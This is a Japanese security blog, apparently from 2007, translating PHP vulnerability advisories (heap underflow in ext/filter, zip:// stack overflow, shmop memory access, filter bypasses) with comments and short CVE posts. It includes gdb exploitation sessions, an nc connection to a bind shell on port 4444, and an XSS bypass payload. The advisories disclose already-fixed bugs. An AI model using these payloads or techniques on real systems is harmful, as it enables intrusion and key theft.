全てのスペースの文字列をFILTER_VALIDATE_INT関数などのフィルタ関数に渡すと、少なくともMacOS X PPCなどのビッグエンディアンのシステムに対してリモートコード実行が可能なバッファアンダーフローが発生します。
■影響するバージョン
PHP 5.2.0
■詳細情報
PHP 5.2.0は簡単なmalloc()/free()関数ラッパーを利用しない、メモリプールを実装するために独自のヒープ管理を行う、新しいメモリマネージャを利用します。このヒープ管理マネージャは制御情報を含んでいる為、オーバーフロー攻撃に脆弱です。さらに、以前のメモリマネージャと異なり、1バイトのアンダーフローに脆弱です。
FILTER_VALIDATE_INT(この関数が最も頻繁にフィルタに利用されると考えられます)等の関数が利用されると、ユーザ入力に対して最初にホワイトスペース文字の除去を行います。これは以下のマクロによって実行されます。
#define PHP_FILTER_TRIM_DEFAULT(p, len, end) { \
while (*p == ' ' || *p == '\t' || *p == '\r' || *p == '\v') { \
p++; \
len--; \
} \
start = p; \
end = p + len - 1; \
if (*end == ' ' || *end == '\t' || *end == '\r' || *end == '\v') { \
unsigned int i; \
for (i = len - 1; i >= 0; i--) { \
if (!(p[i] == ' ' || p[i] == '\t' || p[i] == '\r' || p[i] == '\v')) { \
break; \
} \
} \
i++; \
p[i] = '\0'; \
end = p + i - 1; \
len = (int) (end - p) + 1; \
} \
}
このトリミングマクロはホワイトスペースがある限り先端ポインタを進め、同じ事を文字列の終端ポインタに対して逆方向に行います。そしてNULLバイトを付け加え文字列を終了させます。残念ながら、このトリミングマクロは終端ポインタが文字列の先端で終了しないので、全てのホワイトスペース文字に対して正しく動作しません。これにより、バッファの開始位置にホワイトスペースに文字が含まれていると、トリミング動作は確保したバッファの前にNULLバイトを書き込みます。
新しいメモリマネージャはバッファの前に、以前に利用したメモリブロックのサイズを保存します。この為、リトルエンディアンシステムでは、NULLバイトがホワイトスペース文字の前に(訳注:意味のある形で)書き込まれることは通常あり得えません。しかし、PPCの様なビッグエンディアンのシステムでは、リモートの攻撃者がバッファの前に(訳注:意味のある)NULL文字が含まれるヒープレイアウトを作る事ができます。(訳注:リトルエンディアンでは上位バイトが後ろに配置され、この脆弱性のサイズフィールドの場合、アンダーフローであるの為、普通は常に0でありNULLと同じです。ビッグエンディアンでは下位バイトが後ろに配置されるので、このアンダーフローによりアロケートしたメモリサイズの改ざんが可能になります)トリミング関数はNULLバイトで上書きするのです。これにより、制御情報が破壊されフリーブロックのリンクリストからアンリンク(削除)の際に利用する標準的な攻撃方法が利用可能になります。PoCで明らかなようにリモートコード実行が可能になります。
$ gdb ./php (gdb) run MOPB-19-2007.php Starting program: /Users/Benutzer/php-5.2.0/sapi/cli/php MOPB-19-2007.php Reading symbols for shared libraries . done Using offsets 55555555 and 66666666 Program received signal EXC_BAD_ACCESS, Could not access memory. Reason: KERN_INVALID_ADDRESS at address: 0x55555561 _zend_mm_free_int (heap=0x2000400, p=0xcbad90) at /Users/Benutzer/php-5.2.0/Zend/zend_alloc.c:480 480 prev->next_free_block = next;
このgdbセッションはフリーリストのアンリンクによる典型的なクラッシュを示しています。有効なオフセットを利用すると任意のコードが実行可能となります。(訳注:これはlibcのフリーリストではなくPHPのメモリマネージャのフリーリストなのでlibcのバージョンに関わらず攻撃可能です)デモ用の攻撃コードはローカルで動作するので必要なオフセット情報をsubstr_compare()関数の情報暴露脆弱性から自動的に取得して実行します。以下のように動作しています。
$ gdb ./php (gdb) run MOPB-19-2007.php Starting program: /Users/Benutzer/php-5.2.0/sapi/cli/php MOPB-19-2007.php Reading symbols for shared libraries . done Using offsets 00cd46e0 and 00cd16a0 ^C Program received signal SIGINT, Interrupt. 0x00cd47a4 in ?? () (gdb) x/20x $pc 0xcd47a4: 0x44000002 0x7c000278 0x7c7e1b78 0x38a00002 0xcd47b4: 0x3800005a 0x7fc3f378 0x7ca42b78 0x44000002 0xcd47c4: 0x7c000278 0x38a5ffff 0x2c05ffff 0x4082ffe5 0xcd47d4: 0x38000042 0x44000002 0x7c000278 0x7ca52a79 0xcd47e4: 0x4082fffd 0x7c6802a6 0x38630028 0x9061fff8 (gdb) x/5i $pc 0xcd47a4: sc 0xcd47a8: xor r0,r0,r0 0xcd47ac: mr r30,r3 0xcd47b0: li r5,2 0xcd47b4: li r0,90 (gdb) bt #0 0x00cd47a4 in ?? () #1 0x00cd475c in ?? () warning: Previous frame identical to this frame (corrupt stack?) #2 0x0020ffd8 in _zval_dtor_func (zvalue=0xb) at /Users/.../.../Zend/zend_variables.c:43 #3 0x00204144 in _zval_ptr_dtor (zval_ptr=0xcbb72c) at /Users/.../.../Zend/zend_variables.h:35 ... (gdb) continue
この例はコード実行攻撃に成功し、誰かが4444ポートに接続するのを待っている事を示しています。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードはローカルでバッファアンダーフローがPPCのMaxOS X上で攻撃可能である事を証明します。
攻撃コードはどのオフセットに上書きするか決める為にsubstr_compare()関数の情報暴露脆弱性を利用しています。実際のリモートからの攻撃では、オフセットはフルートフォースか他の手法(例えば、リモートからの情報暴露脆弱性)使って見つけ出す必要があります。
添付のコードが攻撃に成功すると、4444ポートに接続するとシェルが利用できるようになります。シェルコードはMetasploitシェルコードジェネレータから取得しました。
■備考
この新しく導入されたセキュリティ機能のリモート脆弱性は、私たちがベンダー(訳注:PHPセキュリティレスポンスチーム)に情報公開して、PHP 5.2.1で修正されました。
この非常に危険な脆弱性は、他のベンダーもよく行っているように「Filter拡張モジュール内部にある幾つかの入力処理バグの修正」とリリースノートに書くのみで、PHPユーザに多かれ少なかれ隠しています。私たちは責任あるベンダーは別の行動を取らなければならないと強く信じています。
(訳注:「別の行動」(must act differently)とは、「すべての脆弱性をタイムリーに修正・公開する事」だと思われます。私も隠ぺいによりセキュリティが維持できる、とは考えません。)
1 コメント
#2 0x0020ffd8 in _zval_dtor_func (zvalue=0xb) at /Users/.../.../Zend/zend_variables.c:43
#3 0x00204144 in _zval_ptr_dtor (zval_ptr=0xcbb72c) at /Users/.../.../Zend/z
の_dtor_がデストラクタ関連の関数です。この様なメモリ領域を管理する場合、ヒープ領域であっても、少しでもオーバーフローが発生するとコード実行が可能となる可能性がある事はCプログラマであれば常識だと思います。「Off by One」脆弱性は非常に有名で、エンディアンによって攻撃可能なプラットフォームが変わる事も周知の事実だと思います。「Off by One」がアンダーフローの場合はビッグエンディアン、オーバーフローはリトルエンディアンのマシンで脆弱性が発生する可能性がある事はセキュリティ担当者であれば必須知識の一つだと思います。PHPセキュリティレスポンスチームがこの脆弱性を正しく伝えなかったのはいろいろな意味で問題が大きいと思います。
普段から「PHPは最新版(それもPHP5系)でないと安全に利用できない」と言っていますがこれはそれを証明する非常に良い例です。
コメントを残す
セキュリティ用語の統一化
偶然ではないかも知れませんが、同じ時期に同じような物がリリース/改定するとアナウンスされています。
http://cwe.mitre.org/data/dictionary.html
(こちらはDraft5)
http://www.webappsec.org/lists/websecurity/archive/2007-03/msg00041.html
(2.0への改訂作業者募集)
http://www.webappsec.org/projects/threat/
(こちらは1.0)
どの世界でも同じと思いますが用語の使い方は結構適当(いい加減)、同じ事の言い換え(別名)、範囲が不明確(部分集合、etc)など、いろいろ問題もあります。これらが在るとコミュニケーションは行いやすくなります。専門家にとってはあまり苦にならないと思いますが、CWEを全部読んで覚えるのは一般開発者には結構大変かも、と思いました。
フィードバックはまだありません...
コメントを残す
Sigres - PostgrSQLの高速化
リンク: http://sourceforge.jp/projects/sigres/
新しいバージョンがリリースされたようです。
PostgreSQLのINSERT/UPDATEを高速化するSigresの0.1.3をリリースします。
http://sourceforge.jp/projects/sigres/
SigresはUPSの存在を前提に、信頼性を若干犠牲にする代わりに、挿入処理に関して大幅な性能向上を実現します。
いまなおpgsql-hackersからコメントをもらう段階にありますので、使用には注意してください
コミットされたデータが絶対にないと困る、アプリもありますがそうでないもの多くあります。例えば、何かのログなどは電源トラブルで最後の方のコミット済みのログレコードがいくつか無くなるかも知れない程度で高速化できるのであれば十分なアプリも多くあると思います。Pgpoolなどでレプリケーションしているので一つ壊れてもOKな場合もあると思います。
SigresはデフォルトインストールのPostgreSQLに対しては数倍~数十倍の性能向上を示します。しかしWALファイルをtmpfsにおいた場合では、せいぜい10%から19%程度の性能向上しか示しません。
「数倍~数十倍の性能向上」だとMySQLより随分速いですね。得意・不得意があるので簡単に比較できないですが、2,3倍でも十分MySQL以上の性能になります。気になるのはMySQLのBerkeleyDBと比べて安全性がどれくらい犠牲になっているか?という点です。そのうち調べよう。
安定版になったら使ってみます。
1 コメント
tmpfsを使ったとしてもVFSとtmpfsなどのOSのファイルシステムレイヤーの関数を利用します。ランダムアクセスが少なくなるように設計されたPostgreSQLのWALをtmpfsに置いてもそれほど速くならない事は予想できます。
障害時にテーブルが飛んでしまうような事態にならない程度までディスクアクセスを減らす、というオプションもあってよいと思います。
将来postgresql.confで指定できるようになると良いですね。
コメントを残す
MOPB-18-2007:PHP ext/filter HTML Tag Stripping Bypass Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-18-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
必要なし
■リファレンス
なし
■サマリ
PHP 5.2.0から新しくFilter拡張モジュールが追加されました。このモジュールはアプリケーションからユーザ入力をフィルタしたり、サイト全体に対する入力フィルタ機能を実装するために利用されます。
FILTER_SANITIZE_STRINGフィルタがFILTER_SLAG_STRIP_LOWと一緒に利用されると、値の小さいASCIIの空白文字をHTMLタグを開く文字(<)の後ろに置くとHTMLタグフィルタをバイパスできます。
■影響するバージョン
PHP 5.2.0
■詳細情報
FilterモジュールのFILTER_SANITIZE_STRINGフィルタは一つの単純なルールを守っていません。複数の異なるエンティティを文字列から除去する場合、文字列を除去する操作は次の操作に影響を与えないか、文字列の除去操作ができなくなるまで繰り返し行わなければなりません。
Filterモジュールは、"< "( "<"と” ”)を除き、HTMLタグを最初に除去します。これは除去しなくても安全と考えられます。
タグ除去の後にASCII文字の除去が行われます。幾つかのASCII空白文字は32よりも小さい値を持ち、FILTER_FLAG_STRIP_LOWフィルタが適用されるとこれらの文字も除去され、不正なタグの混入を許してしまいます。この動作はHTMLタグ除去を完全にバイパスさせてしまいます。
■PoC、攻撃コードまたは再現手順
この問題を再現するには、次のサンプルコードを保存し、「var=<%0script>alert(/XSS/);<%0/script>」などで呼び出します。
<?php
$var = filter_input(INPUT_GET, "var", FILTER_SANITIZE_STRING,
array("flags" => FILTER_FLAG_STRIP_LOW));
echo $var;
?>
脆弱性を持つFilterモジュールを利用している場合、XSS脆弱性を確認できます。
■備考
このバグはFilterモジュール導入の動機(考え)に潜む弱さを表しています。Filterモジュールの実装にバグがあるたびに、モジュールを利用する全てのアプリケーションはPHPをバージョンアップしなければ脆弱性を回避できません。(Filterモジュールはデフォルトでは静的にコンパイルされる為です)しかし、新しいPHPバージョンはそれほど頻繁にリリースされません。この為、アプリケーションは何か月にもわたってこれらの問題にさらされる可能性があります。
私たちの考えでは、入力フィルタ(入力の検証と出力のエスケープ)はPHPの再コンパイルの必要がないく、ユーザが容易に修正なユーザレベルのライブラリに属する物だと考えています。2007年後半にHardened-PHPプロジェクトでこのようなライブラリの開発を行う事を計画しています。
1 コメント
私たちの考えでは、入力フィルタ(入力の検証と出力のエスケープ)はPHPの再コンパイルの必要がないく、ユーザが容易に修正なユーザレベルのライブラリに属する物だと考えています。
入力フィルタはSanitize(サニタイズ)的な考え方で作られています。Yahooの様に大量の攻撃が毎日ありいちいちログしてられないようなサービス(それで良いのか、と言う議論もありますが...)、安全性を犠牲にしてよいサービス以外は入力フィルタに頼ってはなりません。
セキュリティは入力の検証と確実な出力変換(エスケープ)によって維持できます。サニタイズは「悪い」考え方である事に留意しなければなりません。
コメントを残す
MOPB-17-2007:PHP ext/filter FDF Post Bypass Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-17-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-17-2007.php
http://www.php-security.org/MOPB/code/MOPB-17-2007.php
■リファレンス
なし
■サマリ
PHP 5.2.0から新しくFilter拡張モジュールが追加されました。このモジュールはアプリケーションからユーザ入力をフィルタしたり、サイト全体に対する入力フィルタ機能を実装するために利用されます。
しかし、このモジュールの設計は重大な問題があるため、PHPがFDFモジュールと一緒にコンパイルされているとサイト全体の制限をくぐり抜けてPOSTデータを送信可能となる脆弱性があります。
■影響するバージョン
PHP 5.2.0以下
■詳細情報
PHP5には様々なフィルタ用のフックが追加されました。Hardened-PHPプロジェクトが幾つかの機能追加と明白なバグを修正するまで、Yahooだけで利用されていました。Hardned-PHPプロジェクトが問題を修正して以降、Hardended-PHPパッチはこれらのフックを利用しユーザ入力の変数の数、サイズ、形状に基づいてフィルタリングを行うvarfilter拡張モジュールが付属しています。
その後、PHP開発者はPHPにバンドルされるFilterモジュールを開発し、入力フィルタシステムを壊してしまいました。Filterモジュールは入力フィルタシステムをオーバーライドし、以前に定義された入力フィルタに制御を返しません。この為に以前に導入された入力フィルタリングシステムは利用できなくなりました。PHP開発者はHardened-PHPがこれらのフックを利用していた事を知りながら、意図的に入力システムを壊す事を止めようとしませんでした。
新しく定義された入力フィルタリングフックは全ての個所でユーザ入力をパース、変数として登録し変数に対して何をすべきか定義する入力フィルタ呼べるように設計されています。これにより、特殊なPOST Content-Typeをサポートする全てのモジュールが入力フィルタのフックを実装しなければ、データがフィルタされずに処理される問題が発生するようになりました。
FDFモジュールはFDF POSTデータフォーマット(訳注:Content-Type: application/nvd.dfd)を追加していますが、入力フィルタのフックを実装してません。これにより、サイト全体に適用されるべきフィルタのバイパスが可能になります。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードはapplication/nvd.dfdフォーマットのFDF POSTデータを$_POST配列に変換し、URLにPOSTして、Filterモジュールによってサイト全体に適用されるべきフィルタをバイパスします。
■備考
新しく導入されたフィルタリングモジュールは、新たなPHPの設計ミスを含む機能となり、多くの開発者、特にシステム管理者にとって頭痛の種となるでしょう。
最初に、フィルタリングフックが間違った場所で行われている事が問題です。フィルタリングは(3rdパーティ製を含む)全てのモジュールがロードされる時点でのみフィルタリングフックの追加が行えます。
次に、Filterモジュールは他のフィルタ拡張モジュールと一緒に動作できくなるようにコーディングされています。Filterモジュールはフィルタリングフックを取得したままにして、ディジーチェイン(訳注:処理を数珠繋ぎに続けること)を行いません。一部のPHP開発者達は、この動作がHardened-PHPプロジェクトのvarfilterを壊す事を知りつつ、意図的にこの変更を行いました。 いずれにせよ、Hardedned-PHPパッチよりFilterモジュールと一緒に動作できるSuhosinモジュール利用すべきです。
最後に、Filterモジュールはオプションのモジュールなのでシステム管理者によって無効に設定できます。インプットFilterに頼っているPHPアプリケーションはインプットFilterモジュールがインストールされている場合にしか安全に動作しません。
(訳注:フックしたインプットの制御を戻さない、すべての特殊なPOSTリクエストを処理するモジュールにフックの実装が必要な仕様にしているにも関わらず、デフォルトモジュールでない事が問題であると考えていると思われます。何れにせよPHPはモジュール間の依存性を解決する仕組みを持たないので、不必要にモジュール間に依存性が発生するようなモジュールを追加する事だけでも問題があるといえます)
1 コメント
例えばsafe_modeがストリームで作り直された時、callee(ストリームの内部)がsafe_modeでの動作を制御するのではなく、caller(ストリームを利用する側)でsafe_modeの動作を制御すべき、と指摘したのですが直りませんでした。
因みに、これが直されていなかった事とallow_url_fopen/allow_url_includeでURLストリームを禁止してもinclude文にPHPスクリプトをインジェクトできてしまう仕様(というより脆弱性)は関連があります。
コメントを残す
Hardened PHPプロジェクトの収入
リンク: http://forum.hardened-php.net/viewtopic.php?id=173
Today I banned secunia.com from our adsense ads,
because they were all over the place and according
to Adsenses statistic noone wanted to click on their ads.Actually It is a pity that people seem to block the ads
or not click on them anymore.A few month ago adsense was atleast good enough to
pay for the hosting, now it is peanuts...
私の個人ブログ、Wiki場合、サーバの電気代の足しにはなるくらいです。もっとあると思っていたのですが、Hardened PHPプロジェクトレベルでもそれほどAdsense収入がある訳では無いようです。一般受けを狙っているサイト以外では広告収入で儲かることはあまり無いようですから普通と言えるかもしれませんが...
Hardened-PHPプロジェクトへの寄付はこちらからPayPalで行えます。
http://www.hardened-php.net/donate.45.html
フィードバックはまだありません...
コメントを残す
MOPB-16-2007:PHP zip:// URL Wrapper Buffer Overflow Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-16-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-16-2007.php
http://www.php-security.org/MOPB/code/MOPB-16-2007.php
■リファレンス
なし
■サマリ
PHP 5.2.0のPECL(訳注:非標準モジュール。http://pecl.php.net/ )zipモジュールの人気の高いdotdeb PHPディストリビューションなどでデフォルトで有効化されています。この拡張モジュールはZIPファイルの取扱う関数とzip:// URLラッパーを提供します。
zip:// ラッパー内のURLパーサのスタックオーバーフローは簡単に任意コード実行に利用できます。zip:// ラッパーはallow_url_include / allow_url_fopen に影響されないので(訳注:筆者も危険性を認識していたので数年前にallow_url_fopenが無効な際はURLリソースすべてアクセスできない方が良いのでは、とPHPストーリムの作者にメールした事があります。実現しませんでしたが。)PHPがどのような設定であっても(訳注:zip拡張モジュールさえロードされていれば)バッファーオーバーフローを発生させ、任意コードをリモートから実行可能です。
■影響するバージョン
PHP 5.2.0以下、PECL ZIP 1.8.3以下を利用しているPHP
■詳細情報
軽率なコーディングによる不十分なバウンダリチェックはまだ頻繁に見かけられます。しかし、全くバウンダリチェック無しでスタック変数にデータをコピーするのはほとんど見ません。
zip:// URLラッパーはスタック変数にバウンダリチェックなしでコピーを行います。このラッパーは最初のURL部分(.ZIPアーカイブのファイル名を保存する部分)をトランケートし、スキーマ以降部分全てをMAX_PATH_LENGTH(Linuxではおよそ4096バイト、BSDでは1024バイト)のスタックバッファにコピーします。
このコピーは、ソースURLが0バイトのコピーも可能であるよう、バイナリセーフです。
以下のgdbのデバッギングセッションはインストラクションポインタが上書きされた後の環境を表示しています。
$ gdb ./php-5.2.1 GNU gdb 6.4-debian ... (gdb) run MOPB-16-2007.php ... Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1214888256 (LWP 7794)] 0x55555555 in ?? () (gdb) i r eip eip 0x55555555 0x55555555 (gdb) x/2x $esp 0xbffb5110: 0x08418e00 0xb792f04c (gdb) x/1s 0xb792f04c 0xb792f04c: "zip://", 'A' ... (gdb) x/5i 0xb792f04c 0xb792f04c: jp 0xb792f0b7 0xb792f04e: jo 0xb792f08a 0xb792f050: das 0xb792f051: das 0xb792f052: inc %ecx
このデバッギングセッションからはオフセット0x55555555のコード実行させようとしてる事が分かります。スタックのレイアウトからesp+4にzip:// URLへの完全なポインタがあり、逆アセンブルされたコードからzip://は実際にx86コードである事も分かります。この脆弱性を利用するには、ここで示したように、POP/RETへのオフセットが必要なだけです。
$ su - mopb $ ./php-5.2.1 MOPB-16-2007.php ... and now on another shell $ id uid=100(user) gid=100(user) groups=100(user) $ nc 127.0.0.1 4444 id uid=1107(mopb) gid=1107(mopb) groups=1107(mopb)
■PoC、攻撃コードまたは再現手順
実際の攻撃は十分に長いzip:// URLを作成し、それをロードさせることで可能になります。実際の攻撃では攻撃者はリモートからPHPアプリケーションにzip:// URLを開かせようと試みるでしょう。例えば、Wordpress 2.0のpingback(?)機能は攻撃者が送信したURLを開こうとします。
この脆弱性の攻撃にはメインバイナリに依存するPOP/RETシークエンスのオフセットが必要です。攻撃コードをテストするには0x55667788の様に常にクラッシュするオフセットを利用します。
PHPをコンパイルした時のオプション(訳注:--omit-frame-pointerなど)によりスタックレイアウトが多少異なっているかも知れません。URLの長さは調整が必要な場合があります。
■備考
PHP開発者の間では、多くのアプリケーションがURLインクルードの脆弱性または設計仕様によりURLの読み込みが可能であるにも関わらず、この脆弱性はローカルな脆弱性としています。アバダーのアップロード関数やWordpressのPingbackコード(最新版には含まれません)がその例です。
1 コメント
PHP開発者の間では、多くのアプリケーションがURLインクルードの脆弱性または設計仕様によりURLの読み込みが可能であるにも関わらず、この脆弱性はローカルな脆弱性としています。
私も似たようなやり取りをしたことが何度かあります。どのようなやり取りがあったか目に浮かぶので笑うに笑えません... Stafan氏は数えきれないほど、同類の議論をしたのだと思われます...
スタック変数にコピーするのに長さチェックなしは「お粗末」と言われても仕方ないです。
コメントを残す
トラックバックスパムの防止方法
ボットによるコメントスパム防止はCAPTCHAによって行えますが、同じ事をトラックバックスパムにも利用できます。
通常のトラックバックURLは固定アドレスになっていますが、トラックバック送信の鍵をクエリパラメータに含めます。当然鍵は使い捨てでブルートフォース攻撃ができない、URL取得ページ・鍵にします。鍵付きのトラックバックURLを取得するにはCAPTCHA画像の値を送信ないとURLを取得できないようにすればOKです。
# もちろん使った鍵を削除し、鍵には十分に短い有効期限を設定する
それでもSPAMを受け続けるなら鍵付きトラックバックURLをメールアドレスに送信するようにすると良いです。
同じような仕組みのスパム対策はどこかにあるでしょうか?
1 コメント
$key = sha1(uniqid().mt_rand().uniqid());
など。これでも心配なら
$key = sha1(uniqid(mt_rand(), true).uniqid(mt_rand(), true)).sha1(uniqid(mt_rand(), true).uniqid(mt_rand(), true));
など。uniqid自体もMT RANDを使っていたと思うのですが記憶が曖昧です。
コメントを残す
Apache Tomcat JK Connector
リンク: http://tomcat.apache.org/security-jk.html
MOPBでPHPの脆弱性ばかり書いているので書いておきます。
critical: Arbitary code execution and denial of service CVE-2007-0774
An unsafe memory copy in the URI handler for the native JK connector could result in a stackoverflow condition which could be leveraged to execute arbitary code or crash the web server.
Affects: JK 1.2.19-1.2.20
Source shipped with: Tomcat 4.1.34, 5.5.20
フィードバックはまだありません...
コメントを残す
ePortfolio(Javaアプリ)の脆弱性
MOPBでPHPのセキュリティ問題ばかり書いているので書いておきます。
Multiple cross-site request forgery (CSRF) vulnerabilities in TKS Banking Solutions ePortfolio 1.0 Java allow remote attackers to perform unspecified restricted actions in the context of certain accounts by bypassing the client-side protection scheme.
出典:CVE-2007-1332
Multiple cross-site scripting (XSS) vulnerabilities in TKS Banking Solutions ePortfolio 1.0 Java allow remote attackers to inject arbitrary web script or HTML via unspecified vectors that bypass the client-side protection scheme, one of which may be the q parameter to the search program. NOTE: some of these details are obtained from third party information.
出典:CVE-2007-1331
これ、よく見ると銀行用のアプリケーションですね。
「Javaで作っているので安全」と言える訳はありません。「ORMを使っているので安全」と言える訳でもありません。当然、「○○フレームワークを使っているので安全」とも言えません。「Javaを使っているのでコード実行されない」と言う事もありません。JSPをインジェクトして実行できてしまったWebアプリもあります。
Webアプリの安全性は言語やフレームワークだけでは確保できません。
常識ですよね。と言いたいところですがNRIセキュアテクノロジーズによると常識とも言えないと思われます。
http://www.atmarkit.co.jp/news/200607/27/nri.html
先日、Java用のWebアプリ入門書を見ていたら間違った(とまでも言わなくても無用な制限を付ける)セキュリティ確保の方法が紹介してありました。Javaで構築されたWebアプリに使い辛い物が多いのはこういったノウハウが広まっているからなのでしょう。
フィードバックはまだありません...
コメントを残す
mod_pythonの脆弱性
MOPBでPHPの脆弱性ばかり書いているので他の脆弱性も書いておきます。
Miles Egan discovered that mod_python, when used in output filter mode, did not handle output larger than 16384 bytes, and would display freed memory, possibly disclosing private data. Thanks to Jim Garrison of the Software Freedom Law Center for identifying the original bug as a security vulnerability.
出典:USN-430-1
フィードバックはまだありません...
コメントを残す
WebApp (PerlのCMS)の脆弱性
MOPBでPHPの脆弱性ばかり書いているので書いておきます。
Multiple unspecified vulnerabilities in WebAPP before 0.9.9.6 have unknown impact and attack vectors. NOTE: This information is based upon a vague initial disclosure. Details will be updated after the grace period has ended.
出典:CVE-2007-1259
WebAPP before 0.9.9.5 allows remote attackers to submit Search form input that is not checked for (1) composition or (2) length, which has unknown impact, possibly related to "search form hijacking".
出典:CVE-2007-1187
Summary: WebAPP before 0.9.9.5 does not "censor" the Latest Member real name, which has unknown impact.
出典:CVE-2007-1186
The (1) Search, (2) Edit Profile, (3) Recommend, and (4) User Approval forms in WebAPP before 0.9.9.5 use hidden inputs, which has unknown impact and remote attack vectors.
出典:CVE-2007-1185
The default configuration of WebAPP before 0.9.9.5 has a CAPTCHA setting of "no," which makes it easier for automated programs to submit false data.
出典:CVE-2007-1184
WebAPP before 0.9.9.5 allows remote authenticated users to spoof another user's Real Name via whitespace, which has unknown impact and attack vectors.
出典:CVE-2007-1183
全ての今月の脆弱性情報です。多すぎるので全てを書いていません。言語に関わらずCMSには脆弱性が多いです。すべてのCMSユーザはセキュリティ情報に常に注目するべきです。
追記:後で見てみると「CAPTCHA設定がデフォルトOFFなので...」とありますね。これでCVEを作るとなるとかなりの数のWebアプリが脆弱... 生成されるCAPTCHAイメージがOCRに脆弱(PEARのCPATCHAなど)... などCVEが大量に作れます。放っておくとこのブログも海外からのコメント・トラックバックSPAMが毎日数百... 確かに今時CAPTCHAは必須ともいえます...
フィードバックはまだありません...
コメントを残す
mod_pythonの脆弱性
MOPBでPHPの脆弱性ばかり書いているので他の脆弱性も書いておきます。
Miles Egan discovered that mod_python, when used in output filter mode, id not handle output larger than 16384 bytes, and would display freed memory, possibly disclosing private data. Thanks to Jim Garrison of the Software Freedom Law Center for identifying the original bug as a security vulnerability.
出典:USN-430-1
フィードバックはまだありません...
コメントを残す
MOPB-15-2007:PHP shmop Functions Resource Verification Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-15-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■影響するバージョン
PHP 4.4.5以下、PHP 5.2.1以下
■PoCまたは攻撃コード
MOPB-15-2007.php
http://www.php-security.org/MOPB/code/MOPB-15-2007.php
MOPB-15-2007-RSA.php
http://www.php-security.org/MOPB/code/MOPB-15-2007-RSA.php
■リファレンス
なし
■サマリ
共有メモリ関数(shmop)はPHPから呼ばれる際に利用されるリソースタイプの確認に失敗しています。この為、ユーザが設定したデータを含む間違ったリソースで利用できます。例えば、特別に作成したGDモジュールのイメージリソースで任意のメモリアドレスを読み取る事が可能です。
■影響するバージョン
PHP 4.4.5未満、PHP 5.2.1未満
■詳細情報
PHPスクリプトは完全に実メモリから分離されていなければなりません。したがって、リクエストを超えて永続的に利用するDB接続やメモリなどを利用するPHP関数は、メモリ構造へのポインタを利用するのではなく、Zendエンジンのリソースとして登録され利用されなければなりません。
shmopモジュールの関数は共有メモリ情報、例えばマップされたメモリのベースアドレスやオフセット、に対してZendエンジンリソースを使用しています。PHPスクリプトがshmopモジュールの関数を利用して共有メモリにアクセスする場合、最初にリソースの仕組みによってパラメータが確認されます。
残念ながら、shmopモジュールの関数は利用されたリソースが本当にshmopのリソースかチェックに失敗しています。これにより、shmop関数は他の方法で作成されたリソースを使って呼び出されると任意のメモリアドレスへのアクセスを許してしまいます。最も簡単な攻撃方法はGDのイメージリソースを利用する方法です。GDイメージのリソースを利用する場合、イメージパレットを操作してshmopリソースの共有メモリセグメントへのベースアドレスへのポインタを操作できます。もちろんこれは任意コード実行攻撃に利用できます。
■PoC、攻撃コードまたは再現方法
二つの攻撃コードを添付しました。最初の攻撃コードはどのように任意アドレスを読み書きし、任意コードを実行するかデモンストレーションしています。二つ目の攻撃コードはmod_phpとmod_sslをロードしているApache上で利用します。Apache上で攻撃コードが呼び出された場合、ApacheのメモリからプライベートRSA鍵とSSL証明書をスキャンし、ダウンロード可能なファイルとして提供します。(x86上のApache 1, Linuxでテスト済み)
■備考
この脆弱性はローカル攻撃が可能な脆弱性が危険である事を示す非常によい例です。メモリをスキャンしてApacheのRSA鍵を探す、などはPHPで行えてはならない行為です。
たとえPHPのプロセスが別プロセスと別ユーザであっても、攻撃者は(PHPの脆弱性を利用して)マシン語を使用した方が、PHPコードだけで可能な攻撃より多くの攻撃を行えます。
1 コメント
PHPのソースコードを一度でも読んだ事がある方はマクロの多さに辟易した事と思います。
リソースの取得もマクロで行っていて、問題に気が付き辛くなっています。
#define PHP_SHMOP_GET_RES \
shmop = zend_list_find(shmid, &type); \
if (!shmop) { \
php_error_docref(NULL TSRMLS_CC, E_WARNING, "no shared memory segment with an id of [%lu]", shmid); \
RETURN_FALSE; \
} else if (type != shm_type) { \
php_error_docref(NULL TSRMLS_CC, E_WARNING, "not a shmop resource"); \
RETURN_FALSE; \
} \
shmidはlong(整数型)として関数の引数として渡されています。Zendエンジンのリソースシステムはリソースタイプをチェックする仕組みを持っているのですが、この方法だとリソースタイプのチェックに失敗する可能性がありますね...ブルートフォース、とは言えかなり簡単にどのリソースでも渡せてしまいます。GDを使った攻撃は一つの方法だと考えなければなりません。
PHPのモジュールを書かない方以外には蛇足ですがリソースの取得にはZEND_FETCH_RESOURCE2マクロ(これもマクロです...)を使用します。
例:
ZEND_FETCH_RESOURCE2(pgsql, PGconn *, pgsql_link, id, "PostgreSQL link", le_link, le_plink);
Cプログラマとしてはデバッグや可読性から過剰なマクロの利用は避けてほしいと思います。マクロになっていると特にデバッガでは非常に不便です。
コメントを残す
